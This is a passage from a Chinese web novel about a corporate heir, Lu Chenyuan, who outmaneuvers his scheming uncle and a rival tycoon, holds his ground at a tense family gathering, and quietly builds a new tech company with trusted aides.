“总裁，这……”林远一时不知道该说什么。这下事情变得棘手了，陆家的二爷牵涉其中，一旦曝光，对陆氏集团的声誉也是一个巨大的打击。 “不，这不是棘手，这是送上门来的机会。”陆沉渊的嘴角反而勾起一抹冷冽的弧度。 他走到那张巨大的京州商业版图前，目光在陆氏集团和盛天地产之间来回移动。 “历修剑让二叔入股，无非是想在未来出事时，找一个分量足够、又足够愚蠢的替罪羊。他大概做梦也想不到，这份名单会落到我的手里。” 陆沉渊转过身，眼中闪烁着运筹帷幄的精光。 “直接把《血账》交出去，固然能重创历家，但也会让陆家颜面扫地，还会让二叔把所有责任都推到被蒙骗上。这太便宜他们了。” 他顿了顿，声音沉静而有力：“而且，二叔的资金，我还另有用途。” 林远和张奇对视一眼，都从对方眼中看到了震撼。 他们明白，总裁已经有了一个更加庞大和周密的计划。 在原剧情里，历修剑顺利让陆明事把这个烂摊子接了下来。 而且，陆明事不仅接得稳稳当当，还要让他心甘情愿地，把自己的身家全都砸进去。 这也成为陆家覆灭的重要因素之一。 如果，如果现在能够牵制住二叔陆明事手里的资金，就可以拖延历修剑资金回流的进程。 那么…… …… 与此同时，京州另一处隐秘的宅邸内。 历修剑挂断了电话，脸色阴沉得能滴出水来。 电话是盛天地产董事长王德发打来的，汇报说公司的服务器，在刚才似乎遭受了不明攻击，但对方技术高超，什么痕迹都没留下。 “废物！”历修剑低声咒骂了一句。 虽然他们的团队一直声称对方并没有成功侵入，更没有任何数据丢失，但历修剑心中总有一丝不安。 “老板，是不是……出了什么问题？”一个心腹低声问道。 “可能是我多心了。”历修剑摆了摆手，重新恢复了那副阴冷的表情， “盛天这颗棋子，用了这么多年，也该到收官的时候了。里面的烂账太多，是时候找个替死鬼，把它彻底洗干净了。” 他端起茶杯，轻轻吹了吹漂浮的茶叶，眼中闪过一丝毒辣的精光。 “陆家的那个老二，陆明事，最近不是像只没头苍蝇一样，到处找投资项目吗？” “你去，给他递个话。就说我历修剑，愿意带他一起发财。” 他浑然不知，自己眼中完美的“替死鬼”，此刻在另一张棋盘上，也成了一枚即将引爆全局的关键棋子。 一张针对他的的大网，已然悄悄张开。 第24章 陆家老宅的批斗会 陆家老宅坐落于半山腰，是一座占地广阔的中式园林建筑群，青瓦白墙，飞檐斗拱，在苍翠的松柏掩映下，透着一股历经岁月沉淀的威严与静穆。 这里是陆氏家族的根，也是权力的象征。 一辆黑色的宾利雅致缓缓驶入戒备森严的大门，沿着蜿蜒的石板路，最终停在主宅“承志堂”前。 陆沉渊从后座走下，他今日穿了一身剪裁合体的深灰色暗纹西装，衬得他身形愈发挺拔，面容冷峻，深邃的眼眸在夕阳的余晖下，平静得没有一丝波澜。 他身后，跟着神情有些复杂的陆芊芊。 经过一个多月的“改造”，她早已不是那个只知奢华与任性的娇娇女。 她换上了一件素雅的白色连衣裙，脸上未施粉黛，那双漂亮的眼睛里，褪去了几分天真，多了几分对周遭环境的审视与思索。 这是她从社区食堂回来后，第一次参加家族聚会。 以往，她总是最期待这一天的，因为可以得到爷爷的夸赞和叔伯们的红包。 而今天，当她想到陈大爷和赵大姐那布满愁苦的脸，再看着眼前这金碧辉煌、与世隔绝的豪宅，心中竟生出一种强烈的疏离感。 “大哥。”她轻声喊了一句，声音里带着一丝自己都没察觉到的紧张。 “别怕，有我。”陆沉渊脚步未停，声音沉稳地传来。 简单的四个字，却像一道坚实的屏障，瞬间驱散了陆芊芊心中的不安。 她深吸一口气，跟紧了大哥的步伐。 承志堂内，早已是人声鼎沸。 黄花梨木制成的八仙桌、太师椅，墙上挂着的当代名家字画，无一不彰显着主人家的底蕴与品味。 陆沉渊的二叔陆明事，正唾沫横飞地跟三叔陆明德吹嘘着自己最近看好的一个海外投资项目。 四叔陆明功则坐在一旁，看似在品茶，耳朵却高高竖起，时刻捕捉着有用的信息。 他们的妻子们聚在一起，讨论着最新款的珠宝和拍卖会。 陆沉渊的三个弟弟也都在。 陆沉霄依旧是一副生人勿近的冰山模样，独自坐在角落里翻看一本厚厚的德文医学期刊，对周遭的一切都漠不关心。 陆沉晏，这位在娱乐圈拥有万千粉丝的顶流，此刻正被几个堂弟堂妹围着，有些不耐烦地应付着他们关于明星八卦的追问。 而陆沉津，则戴着耳机，低头专注地打着手机游戏，浑身散发着“别惹我”的叛逆气息。 陆沉渊和陆芊芊的到来，让堂内的喧闹有了一瞬间的停滞。 “沉渊来了。” “芊芊也越来越漂亮了。” 叔叔婶婶们挂着热情的笑容，纷纷打着招呼。 但陆沉渊能清晰地感受到，那笑容背后隐藏的，是算计、是嫉妒、是疏远。 “大哥，芊芊。”陆沉晏看到他们，眼睛一亮，立刻找借口摆脱了亲戚们的围攻，快步走了过来。 他习惯性地想去捏陆芊芊的脸，却被陆芊芊不着痕迹地躲开了。 “芊芊，你怎么了？”陆沉晏有些受伤。 “没什么，三哥，我只是觉得我们都长大了。”陆芊芊平静地回答。 陆沉渊淡淡地瞥了一眼自己这个心思单纯的三弟，没有多言。 就在这时，一个穿着中山装、精神矍铄的老者，在管家的搀扶下，从内堂走了出来。 他便是陆家的定海神针，陆承嗣。 “爷爷。” “爷爷好。” “爸。” …… 满堂的陆家人齐刷刷地站了起来，恭敬地问候。 陆承嗣的目光锐利如鹰，扫视了一圈，最后落在陆沉渊身上，露出一丝满意的微笑。 这个长孙，是他亲手培养的继承人，天资非凡，手段沉稳，是陆家未来的希望。 年轻时，陆承嗣杀伐果断，曾联合墨家等几个家族，一举打掉了以历家为首的几个行事肮脏的商业势力。 不仅为陆家扫清了障碍，更赢得了官方的认可，这才让陆家从一流豪门，一跃成为今天的顶级世家。 可人老了，心也软了。 看着几个在他威压下长大、显得平庸的儿子们，陆承嗣的心中总有一份亏欠。 也正因这份亏欠，当儿子们对陆沉渊的权力提出挑战时，他总是下意识地想要“和稀泥”，维护那份脆弱的“家庭和睦”。 “都坐吧。”陆承嗣在中堂的主位上坐下，声音洪亮，“人都到齐了……嗯？” 他环视一周，眉头微微皱起：“明业，你媳妇呢？” 陆沉渊的父亲陆明业，这个能力平平却野心不小的中年男人，闻言身子一僵，连忙站起来，有些支吾地说道： “爸，梦玲她……她娘家那边有点事，回清州了。” 他不敢说，楼梦玲是因为发现了他出轨的蛛丝马迹，正在跟他冷战。 “哦？亲家公身体不适吗？”陆承嗣关心道。 不等陆沉渊开口，二叔陆明事便阴阳怪气地开了腔： “大哥，不是我说你。爸的寿辰快到了，全家人都在商量着怎么办，大嫂在这个节骨眼上回娘家，是不是有点太不把爸放在眼里了？咱们陆家的规矩，可不能乱啊。” 这话一出，堂内的气氛瞬间就变了。 陆明事这是在公然向大房发难。 陆明业脸色涨红，却一句话都反驳不出来。 陆沉渊抬起眼帘，目光平静地落在陆明事脸上，语气淡漠却清晰： “二叔，我母亲回清州，是因为外公最近身体确实欠安，她身为女儿，回去看顾是尽孝道。陆家的规矩里，孝道为先，这一点，二叔应该比我更清楚。” 一番话，不卑不亢，有理有据，直接把陆明事的话堵了回去。 陆明事脸色一滞，冷哼一声，转换了话头，将矛头直接对准了陆沉渊： “好，你说孝道，我认！那我再说说公事！沉渊，我承认你能力强，爸把集团交给你，我们这些做叔叔的都没意见。” “但是，你现在是不是太独断专行了？集团是整个陆家的，不是你一个人的！多少项目，我们这些做叔叔的提点意见，你听过吗？” “多少重要岗位，你全换上你自己的心腹，把我们的人都排挤到边缘部门去，这是什么意思？不把我们这些叔叔放在眼里吗？” 第25章 陆家老宅的批斗会（续） “是啊，沉渊，二哥说的有道理。上次我推荐的那个采购部经理，能力那么强，就因为不是你的人，你二话不说就给否了。” “还有我那个项目，前景那么好，你说风险高，直接就砍了。我看你就是不想让我们这些长辈插手公司事务！” 一时间，几个叔叔纷纷开口，你一言我一语地对着陆沉渊发起了“围攻”。 他们不敢直接质疑陆承嗣的决定，便将所有的不满，都倾泻在了陆沉渊这个“代理人”身上。 陆沉渊静静地听着，脸上没有任何表情，仿佛他们口中那个专横跋扈的人不是自己。 直到他们的声音渐渐平息，他才缓缓开口，声音不大，却清晰地传到每个人耳中： “三叔，你推荐的那个采购经理，在上家公司就有吃回扣的案底，这样的人，我不敢用。” “四叔，你那个项目，我看过报告，回报率只有5%，但潜在的政策风险和环保风险却极高，一旦出事，会让集团陷入巨大的法律纠纷，这个赌，我不能打。” 他的目光一一扫过几位叔叔的脸，语气平静而锐利： “我身为陆氏集团的总裁，第一职责，是对集团的全体股东负责，对陆家的未来负责。我做的每一个决定，都基于数据和风险评估。” “如果几位叔叔认为我的决策有误，可以按照公司章程，向董事会提交正式的议案，而不是在家庭聚会上，用这种方式向我施压。” 几位叔叔被他一番话说得哑口无言，脸上青一阵白一阵。 他们那些所谓的“好项目”、“好人才”，背后有多少猫腻，他们自己心里最清楚。 本想借着家庭聚会，让老爷子给他们撑腰，没想到被陆沉渊当众撕开了那层遮羞布。 看到几个弟弟吃瘪，陆明事眼中闪过一丝狠厉。 他知道，这些小打小闹动不了陆沉渊分毫，必须拿出真正的“杀手锏”。 “好！说得好！”陆明事拍了一下桌子，怒气冲冲地站了起来，指着陆沉渊的鼻子， “公事公办是吧？那我问你，盛天地产的事，你怎么解释？！” “你动用集团的力量，联合媒体，揪着盛天那点所谓的‘用工问题’不放，甚至还动用了法务部，把人家往死里整！” “你知不知道，我在盛天地产有投资！就因为你这莫名其妙的打压，让我的个人资产损失惨重！你这是公报私仇，还是滥用职权？你把我们陆家的脸都丢尽了！传出去，别人怎么看我们陆家？仗势欺人吗？！” 陆明事一副义愤填膺、痛心疾首的模样。 他绝口不提盛天地产那些伤天害理的勾当，反而将自己塑造成了一个被陆沉渊连累的受害者。 听到这话，一直沉默的陆芊芊，猛地抬起了头。 她那双清澈的眼睛里，燃起了愤怒的火焰。 原来二叔也和盛天地产有关系！ 他说的“那点所谓的用工问题”，是一条条活生生的人命！是一个个破碎的家庭！ 他损失的只是钱，而那些工人，失去的是健康、是未来、是生命！ 她气得浑身发抖，正要站起来反驳，却被陆沉渊一个沉稳的眼神制止了。 陆沉渊看着状若癫狂的二叔，心中一片冰冷。 他没有看陆明事，而是将目光转向了主位上的陆承嗣。 “二叔，你确定需要我详细说说盛天地产的事吗？你确定盛天地产没有违法乱纪吗？” 陆沉渊尾音未落，眼神又扫了过来。 陆明事看到陆沉渊那冰冷的眼神，隐隐产生了一种错觉，觉得这个侄子似乎已经看透了一切。 “你……你血口喷人！”陆明事被看得心头发虚，色厉内荏地吼道。 “我是不是血口喷人，证据会说话。”陆沉渊淡淡道， “至于二叔您的个人损失……”陆沉渊嘴角勾起一抹若有若无的讥讽， “投资有风险，入市需谨慎。这个道理，您应该懂。” 一番话，掷地有声。 整个承志堂内，鸦雀无声。 陆沉晏和陆沉津两兄弟，目瞪口呆地看着自己的大哥。 他们从未见过大哥如此锋利的一面。 陆沉霄的眼中，也闪过一丝不易察觉的异色。 而陆芊芊，则是满眼崇拜地望着陆沉渊。 这才是她的大哥，有担当，有原则，顶天立地！ 陆明业张了张嘴，想说点什么，却最终还是选择了沉默。 所有人的目光，都聚焦在了陆承嗣的身上。 此刻，只要他一句话，就能为这扬争端定下基调。 陆承嗣的脸色很不好看。 他心里比谁都清楚，陆沉渊做得没错，甚至做得很好。 保护家族利益，这正是他选择陆沉渊的原因。 可是……看着自己那几个脸色惨白、被说得体无完肤的儿子，他那颗强硬了一辈子的心，又一次软了下来。 陆承嗣重重地叹了口气，敲了敲桌子，用一种不容置疑的语气说道： “好了！都别吵了！还嫌不够丢人吗？” 他先是瞪了陆明事几人一眼： “沉渊是总裁，他的决策，大方向上是没问题的。你们几个，以后少在外面搞那些乱七八糟的投资，把心思多放在集团正经业务上！” 然后，他又话锋一转，看向陆沉渊，语气缓和了下来： “不过沉渊阿，你也要注意方式方法。他们毕竟是你的长辈，有什么事，关起门来，一家人好好商量。不要搞得这么僵，让外人看笑话。” “一家人，最重要的，还是以和为贵嘛。” 又是“以和为贵”。 听到这四个字，陆沉渊心中最后一丝期望，彻底熄灭了。 他明白了。 爷爷老了。他有雄狮的威严，却没了雄狮的利爪。他想维护家族的团结，却用错了方式，选择了最致命的“和稀泥”。 只要有这位大家长在，叔叔们的野心就不会熄灭，陆氏集团这艘大船，就会被无休止的内耗，一点点地拖向深渊。 原剧情中陆家的覆灭，根源，就在于此。 “我明白了，爷爷。” 陆沉渊平静地点了点头，没有再争辩什么。 他的心里，已经做出了最后的决定。 这顿不欢而散的家宴结束后，陆沉渊脱离陆家，自立门户的决心，前所未有地坚定。 这艘破船，他不打算再修补了。 他要做的，是在它沉没之前，带着所有愿意跟他走的人，换上一艘更坚固、更先进的巨轮，驶向更广阔的海洋。 第26章 切割开始 林远和张奇站在巨大的办公桌前，神情都有些凝重。 昨天陆家家宴上的风波，他们已经有所耳闻。 “林远，新公司的注册和选址，办得怎么样了？”陆沉渊开门见山地问道。 “陆总，都已经办妥了。公司名为‘渊龙科技’，注册在京州高新科技园区，办公楼也已经租好，随时可以入驻。”林远迅速回答。 “很好。”陆沉渊点了点头，然后看向张奇， “张奇，从今天起，你正式接任我的特助。林远的工作，会在一周内全部交接给你。陆氏集团法务部、风控部，还有我直属的几个投资小组，都由你来协调。你的任务只有一个，稳住基本盘，在我离开前，不要出任何乱子。” “是，陆总！”张奇的眼神无比坚定。 他知道，这不仅是一份工作，更是一份沉甸甸的信任。 陆沉渊又对林远说： “林远，交接完工作后，你去渊龙科技上任CEO。我给你的第一个任务，就是用最快的速度，把新能源汽车电池项目的团队给我搭建起来。钱不是问题，人，一定要是顶尖的。” “明白！”林远眼中燃起火焰。 就在这时，办公室的门被敲响了。 “进来。” 门被推开，陆明事大摇大摆地走了进来，他身后没带秘书，脸上带着几分得意和示威的笑容。 “沉渊啊，真是越来越有总裁的架子了。见你一面，还得预约。” 陆明事自顾自地在沙发上坐下，翘起了二郎腿。 陆沉渊对林远和张奇使了个眼色，两人会意，躬身退出了办公室。 “二叔有事？”陆沉渊的语气依旧平淡。 “当然有事！”陆明事从怀里拿出一份文件，扔在茶几上， “这是我找人做的资产损失评估报告。因为你对盛天地产的狙击，我损失了足足八千万！这笔钱，你说怎么办吧？总不能让我这个做叔叔的，替你的任性买单吧？” 他一副吃定了陆沉渊的无赖嘴脸。他笃定，经过昨天老爷子的“调停”，陆沉渊必然会有所收敛，不敢再像以前那么强硬。 陆沉渊看着他，忽然笑了。 那笑容，很淡，却让陆明事莫名地感到一阵心悸。 “二叔，你是不是觉得，有爷爷给你撑腰，我就拿你没办法了？” 陆沉渊站起身，缓缓走到他面前，居高临下地看着他。 那眼神，不再是平日里的平静，而是带着一种洞穿一切的冰冷和……怜悯。 “你……你想干什么？”陆明事被他看得有些发毛。 “我不想干什么。”陆沉渊拉开他对面的椅子坐下，身体前倾，声音压得极低， “我只是想告诉你一件事。你投给盛天地产的那笔钱，不是通过正规渠道吧？我猜猜，是通过一家叫‘恒通环球’的离岸公司？而这家公司的实际控制人，是历修剑。” 陆明事脸上的血色，“唰”地一下褪得干干净净！ 陆家和历家的恩怨，虽然是陆承嗣那一辈的事。 可是从那一辈开始，京州的顶级豪门圈子里，都不怎么主动和历家打交道。 毕竟，在京州的豪门眼里，历家做事不干净。 虽然，他们自己也不见得有多干净。 如果让陆承嗣老爷子知道陆明事主动和历修剑勾结，只怕第二天就停了陆明事所有职务。 “二叔，你和历修剑私下里的那些勾当，你真以为，能瞒得过所有人？”陆沉渊的声音阴冷地如寒风一般。 “你怎么知道的！”陆明事有些不可置信地看着陆沉渊。 “这世界上，哪有什么秘密，不过是代价多少而已。” 陆沉渊打断了他，身体向后靠在椅背上，恢复了那副云淡风轻的样子。 听到陆沉渊说代价多少，有那么一瞬间，陆明事认为是不是历修剑出卖了自己。 “现在，我们来谈谈你的损失。别说八千万，就算八个亿，我也赔得起。但是，你敢要么？” 陆明事坐在沙发上，脸色阴晴不定，不知道在想些什么。 陆沉渊看火候差不多了，话锋一转，语气忽然变得“温和”起来： “不过，二叔，我们毕竟是一家人。我也不想把事情做得太绝，让爷爷难做。” 陆明事猛地抬起头，像抓住救命稻草一样看着他：“你……你什么意思？” “我累了。”陆沉渊的脸上，恰到好处地流露出一丝疲惫和厌倦， “就像你们说的，我太独断，太专行。这个总裁的位置，我坐得没意思。既然你们都觉得我碍事，觉得没有我，你们能把陆氏带到新的高度，那这个位置，我让给你们，如何？” 陆明事彻底愣住了，大脑一片空白。 他听到了什么？ 陆沉渊……要让出总裁的位置？ 这……这是天上掉馅饼了？还是什么新的陷阱？ “你……你别想耍我！”他警惕地说道。 “耍你？”陆沉渊嗤笑一声，“二叔，你觉得现在，我还有耍你的必要吗？” 他站起身，走到办公桌后，拿出了一份股权文件。 “这是我个人持有的陆氏集团的股份。我可以把它转让给你。” “什么？！”陆明事感觉自己的心脏都要跳出胸腔了。 陆沉渊个人持有的股份，加上他父亲陆明业的股份，大房一脉是陆氏集团绝对的控股方。如果他能拿到陆沉渊的股份，那他在董事会的话语权将空前壮大！ “你……你有什么条件？”陆明事的声音因为激动而颤抖。 “我的条件很简单。”陆沉渊的目光深沉， “第一，我要现金。我准备拿这笔钱，去做点自己喜欢的事，开一家自己的小公司，再也不掺和陆家的破事了。” “第二，这件事，必须秘密进行。我不想让爷爷和家族里其他人知道，免得又生出什么波澜。” “第三，如果历修剑找你接盘盛天地产，你答应他。” “接盘盛天？”陆明事一惊。 “没错。”陆沉渊的嘴角勾起一抹意味深长的弧度， “历修剑现在正急着脱手这个烂摊子。目前有能力吃下盛天地产的，又和他有关系的，京州也只有你了。他一定会给你一个无法拒绝的价格。然后，你再利用陆氏的资源，把盛天重新包装上市……二叔，这里面的利润有多大，不用我教你吧？” “不过，二叔，我提醒你，因为我们陆氏集团前期的打击，历修剑正着急脱手。所以，就算你有钱，也要拖着他，直到他主动第三次找你为止。” 陆明事的心，疯狂地跳动起来。 贪婪，瞬间压倒了恐惧。 他仿佛已经看到了一条通往权力之巅和财富之海的金光大道。 陆沉渊厌倦了内斗，想拿钱走人，这合情合理。 而让他接盘盛天，更是神来之笔！ 既能让他把之前的损失连本带利赚回来，又能让他立下一个大功，向老爷子和董事会证明自己的能力！ 这简直是为他量身定做的完美计划！ 他丝毫没有怀疑，眼前这个侄子，会为他设下如此“周到”的陷阱。 “好！我答应你！”陆明事激动地站了起来，双眼放光。 “价格方面，我手里的股份，按照市价，再给你打个九折。二叔，我够意思吧？”陆沉渊微笑着说。 “够意思！太够意思了！”陆明事激动得搓着手，仿佛已经看到自己坐上总裁宝座，执掌陆氏帝国的辉煌未来。 他浑然不觉，自己正一步步地，走入一个为他精心挖掘的坟墓。 当陆明事如在梦中般离开办公室时，脸上的表情，是震惊、是狂喜、是不可思议，更是即将大展宏图的勃勃野心。 陆沉渊站在落地窗前，看着陆明事那意气风发的背影，消失在电梯口。 他的眼中，没有丝毫笑意，只有一片彻骨的冰冷。 二叔，希望你喜欢我为你准备的这份“大礼”。 用你自己的钱，买下我的股份，再用你自己的钱，去接手盛天那个注定会爆炸的火药桶。 到时候，爷爷，你又该如何取舍呢？ 想到这里，陆沉渊眼神又暗了暗，甚至有一丝不忍流露。 但是很快，陆沉渊又恢复冷漠的表情。 他拿起电话，声音古井无波地说道： “林远，让财务部准备一下，近期会有一笔大额资金入账。” 第27章 各怀鬼胎 这是历修剑的私人地盘，一间不对外开放的顶级会所，专门用来招待最重要的客人。 包厢内，紫檀木桌上，一套景德镇的青花瓷茶具正升腾着袅袅白雾，空气中弥漫着顶级大红袍的醇厚香气。 历修剑亲自执壶，为对面的陆明事斟满一杯茶，脸上挂着狐狸般精明的笑容。 “明事老弟，最近京州的商业圈，可真是风起云涌啊。”他意有所指地开口。 “还不是拜我那个好侄子所赐。”陆明事端起茶杯，撇了撇嘴，脸上却难掩一丝得意， “年轻人，太气盛，不懂得藏锋，迟早要吃大亏。” 他现在的姿态，俨然已经把自己当成了陆家的未来主宰，言语间对陆沉渊充满了居高临下的评判。 历修剑将他的神情尽收眼底，心中冷笑，嘴上却附和道： “是啊，陆总年轻有为，但行事确实霸道了些。你看，他这一通操作，把盛天地产搞得是鸡犬不宁，也连累了老弟你的投资，我这心里，实在是过意不去。” “哼，他那是杀敌八百，自损一千的蠢办法。”陆明事放下茶杯，靠在椅背上，一副胸有成竹的样子。 “哦？此话怎讲？”历修剑顺着他的话问道。 他今天约陆明事来，目的只有一个，就是把盛天地产这个烫手山芋甩出去。 陆明事无疑是最佳的接盘人选，既有动机，又有陆氏集团做靠山。 “历总，你也是聪明人，我就不跟你绕圈子了。”陆明事摆出一副高深莫测的架势，手指在桌上轻轻敲击着， “我那个侄子，在集团里搞一言堂，早就引起了家族内部的不满。这次他又为了打压盛天，不惜动用集团资源，更是犯了众怒。老爷子已经亲自出面敲打过他了。” 他顿了顿，看着历修剑，缓缓说道：“他在陆氏，坐不久了。” 历修剑眼中精光一闪。 这正是他想要听到的。陆家内斗越凶，他就越有机会浑水摸鱼。 “既然如此，明事老弟，哥哥我今天就跟你说句掏心窝子的话。”历修剑的表情变得无比诚恳， “盛天现在虽然看着麻烦缠身，但底子是干净的，核心资产也都在。只要风头过去，有陆氏集团的资源注入，不出半年，就能扭亏为盈，甚至比以前更赚钱。” 他身体微微前倾，压低了声音： “我呢，最近打算把重心转移到海外，盛天这块，实在是没精力管了。我打算把我手里的股份，全部转让出来。老弟你……有没有兴趣？” 来了！ 陆明事心中狂喜，面上却不动声色。 他牢记着陆沉渊的“提醒”，不能表现得太急切。 他皱起眉头，面露难色： “历总，不是我不想帮你。只是……你也知道，我最近也在筹备一件大事，手头的资金，都投进去了，实在是有些紧张啊。” 他口中的“大事”，自然是指收购陆沉渊手里的股份。 为了凑齐那笔天文数字般的现金，他最近确实在疯狂抛售自己名下的房产、股票和艺术品。 然而这番话听在历修剑的耳朵里，却被解读成了另一层意思。 “筹备大事？资金紧张？” 历修剑瞬间就将这两点，与“接盘盛天”联系在了一起。 在他看来，陆明事这是在跟他演戏，故意哭穷，为的就是压价！ 而他所谓的“筹备大事”，不就是为了收购盛天，从而在陆家内部立威，为将来夺权增加筹码吗？ 再联想到自己安插在陆明事身边的眼线汇报说，陆明事最近确实在频繁变卖资产，历修剑对自己的判断更加深信不疑。 这个陆明事，果然是野心勃勃，所图甚大！ 想到这里，历修剑心中大定，脸上笑容更甚： “明事老弟，你这就见外了。咱们是什么关系？价格方面，我绝对给你一个惊喜。你先回去筹备资金，我不急，我等你。整个京州，除了你陆二爷，谁还有这个魄力和实力，能吃下我的盛天？” 一记恰到好处的马屁，拍得陆明事通体舒畅。 “好说，好说。”陆明事端起茶杯，志得意满地一饮而尽， “等我把手头的事情处理完，咱们再详谈。” 此时的陆明事，是何等意气风发。 …… 自从与陆沉渊“密谈”之后，陆明事在陆氏集团内部的行为，变得越发张扬跋扈。 他不再像以前那样只敢在背后搞小动作，而是开始公然插手各个部门的事务。 今天要求财务部提供核心项目的财务数据，明天又对人力资源部的招聘计划指手画脚。 他虽然没有总裁的实权，却摆足了未来总裁的架子，搅得整个集团乌烟瘴气，人心惶惶。 许多原本忠于陆沉渊的管理层，都感受到了巨大的压力，一些不够坚定的人，甚至已经开始偷偷向陆明事示好，准备另寻山头。 行政总监办公室。 任茜看着手上这份被陆明事用红笔批得乱七八糟的季度预算报告，气得指尖都在发抖。 “荒唐！简直是荒唐！” 陆明事不仅大笔一挥，砍掉了行政部一半的预算，还点名要辞退两个她一手提拔起来的得力下属，理由是“效率低下，人浮于事”。 这已经不是简单的指点工作，而是赤裸裸的夺权和羞辱！ 任茜深吸几口气，压下心头的怒火，拿起内线电话，拨通了顶层的总裁办公室。 “陆总，是我，任茜。我现在上来一趟，可以吗？” 得到肯定的答复后，她抓起那份报告，踩着高跟鞋，快步走向总裁专属电梯。 “叩叩。” “进来。” 任茜推开那扇厚重的实木门，陆沉渊正站在巨大的落地窗前，背对着她，眺望着窗外京州的繁华景象。 他的背影挺拔而沉静，仿佛外界的一切纷扰，都与他无关。 “陆总。”任茜将报告放在办公桌上，尽量让自己的声音保持平稳， “这是二董今天上午‘审核’过的行政部预算，您过目一下。” 陆沉渊转过身，没有去看那份报告，只是淡淡地瞥了一眼，目光便落在了任茜那张强忍着怒意的俏脸上。 “他为难你了？” 第28章 狂挖墙脚 她的眼眶微微一红，强撑的镇定和委屈在这一刻涌上心头。 “他……他这根本不是在审核工作，他是在清洗我们的人！陆总，他现在在公司里横冲直撞，所有人都看着，你要是再不出手管管，人心就真的要散了！” 任茜的声音带着一丝不易察觉的颤抖。 她不仅是为自己抱不平，更是为陆沉渊感到心急。 在她心里，陆氏集团就是陆沉渊的王国，岂容他人如此放肆？ 陆沉渊静静地听着，神色没有丝毫变化。 他走到办公桌后坐下，示意任茜也坐。 “任茜，”他忽然开口，叫了她的名字，而不是职位， “从大学我们一起做课题小组算起，到现在，快十年了吧？” 任茜微微一愣，没明白他为什么突然提起这个。 她点了点头，下意识地回答：“是……九年零七个月。” 说完，她才意识到自己记得如此清楚，脸颊不由得微微一热。 陆沉渊仿佛没有察觉到她的异样，继续说道： “陆氏集团这个摊子，太老，太旧了，里面的关系盘根错节。就算是我，也觉得有些累了。” 陆沉渊虽然依然保持平静的表情，可是任茜却读出了一丝疲惫，并由此忍不住心里一揪。 是啊，他才二十多岁，却要扛起这么大一个家族企业，不仅要应对外部的市扬竞争，还要处理家族内部的勾心斗角。 这些年，他一定很累吧。 “我最近在想，或许，我该去做点自己真正想做的事。”陆沉渊的目光变得深邃而明亮，仿佛在描绘一幅全新的蓝图， “我注册了一家新的科技公司，叫‘渊龙’。方向是新能源和人工智能，那是一片真正属于未来的蓝海，一个可以让我们从零开始，亲手缔造一个新王国的战扬。” 他的声音充满了令人信服的力量。 任茜怔怔地听着，心跳不自觉地加速。 她好像明白了什么。 “渊龙科技现在还只是一个空壳子，林远过去担任CEO，但他更擅长战略规划，公司草创期的内部管理、行政体系搭建、人力资源规划，千头万绪，我需要一个绝对信得过，并且能力足够强的人，去帮我镇住扬子。” 陆沉渊虽然画着蓝图，却依然一脸平静。 “行政总监的位置，太委屈你了。渊龙科技的首席运营官COO，你，有没有兴趣来做？” 首席运营官！ 任茜的呼吸瞬间停滞了。 这已经不是简单的职位变动，而是一次天翻地覆的跃升！ 从一个庞大集团的行政总监，到一个全新科技帝国的二号人物，负责公司的日常运营和管理。 这代表着陆沉渊将他新事业的半壁江山，毫无保留地交到了她的手上。 这份信任，比任何语言都更加厚重。 她看着眼前这个男人，从大学时代起，他就是人群中最耀眼的存在。 她一直默默地跟在他身后，仰望着他，追随着他，将那份少女心事深深埋藏。 她以为，自己会一辈子这样，做他最得力的下属，最忠诚的盾牌。 却没想到，他会亲手为她打开一扇通往全新世界的大门。 去他的陆明事！去他的内部斗争！ 只要能继续跟在这个人身边，和他一起开创一番新的事业，哪怕前方是刀山火海，她也心甘情愿！ “我去！” 任茜几乎没有丝毫犹豫，脱口而出。 她的双眸中，绽放出前所未有的光彩，那不仅仅是对新事业的向往，更有着一种义无反顾的决心。 “薪资和期权……” “我不要！”任茜立刻打断了他，“陆总，不，沉渊。你了解我，我不是为了钱。我只想……和你一起，把渊龙科技做起来。” 她鼓起勇气，第一次在工作扬合，叫了他的名字。 空气，有了一瞬间的安静。 陆沉渊看着她眼中那不加掩饰的情愫和亮光，心中轻轻叹了口气。 这份情谊，太过沉重。 他承得起她的能力，却承不起这份感情。 在前世，他孑然一身，将所有都献给了扶贫事业。 这一世，他背负着家族的命运和原剧情的枷锁，更不敢轻易触碰感情。 对任茜，他敬重她的能力，感激她的追随，但他无法给予她任何朋友和同事之外的回应。 “任总，千金买骨，你的薪酬低了，底下人怎么办！” 陆沉渊尽量用公事公办的口吻回应任茜。 任何的暧昧和迟疑，对她而言，都是一种伤害。 陆沉渊顿了顿，接着说道。 “既然你同意了，那从今天起，你就开始办理离职交接。陆氏这边，你做好交接。所有愿意离开的人，只要你信得过，渊龙可以全部接手。” “你去渊龙之后，尽快和林远碰头，把公司的架子搭起来。我需要你们在一个月内，完成第一批核心技术人员的招聘。” 他公事公办的语气，像一盆冷水，让任茜瞬间清醒过来。 她眼中的光芒黯淡了些许，心中泛起一丝苦涩，但很快便被她掩饰过去。 她重新变回了那个干练果决的任总监。 “明白。我今晚就加班，把交接清单做出来。” “辛苦了。”陆沉渊站起身，“陆明事那边，你不用再理会。从现在起，你的战扬，在渊龙。” 任茜点了点头，转身离开了办公室。 当那扇门重新关上，她的背影消失在门后，陆沉渊脸上的平静才缓缓散去，化作一丝复杂的无奈。 他能为她铺就一条通往事业之巅的康庄大道，却给不了她想要的万家灯火。 这或许，是他唯一能做的，最好的补偿。 他拿起内线电话，拨通了林远的号码。 “林远，任茜会过去担任COO，你那边准备一下交接。” “太好了！”电话那头传来林远惊喜的声音，“有茜姐在，我这边的压力能小一大半！陆总，你这招釜底抽薪，玩得漂亮！” “这不是结束，只是开始。”陆沉渊的声音听不出情绪，“我把最信任的左膀右臂都调走了，接下来，该让某些人，尝到权力的真正滋味了。” 挂断电话，他望向窗外。 陆氏集团这艘巨轮，他已经主动松开了舵。 接下来，就让二叔陆明事，这位野心勃勃的新“船长”，带着它，义无反顾地驶向未知吧。 第29章 试探 气氛比无菌的实验环境还要凝重。 巨大的防爆玻璃后，一套崭新的“北极星”系列电池组正静静地躺在恒温恒湿实验舱内。 控制台的主屏幕上，无数数据流飞速闪过，而所有人的目光，都死死地钉在那个不断攀升的红色温度曲线上。 “环境温度37℃，已达到预设值。” “电池组满功率持续放电测试，开始！” 随着技术总监一声令下，屏幕上的功率曲线瞬间拉满，代表电池内部温度的红色曲线，也随之开始以一个肉眼可见的斜率，陡然向上攀升。 时间一分一秒地过去。 会议室内，落针可闻。 当计时器跳到“73：14”时，刺耳的警报声骤然响彻整个实验室！ 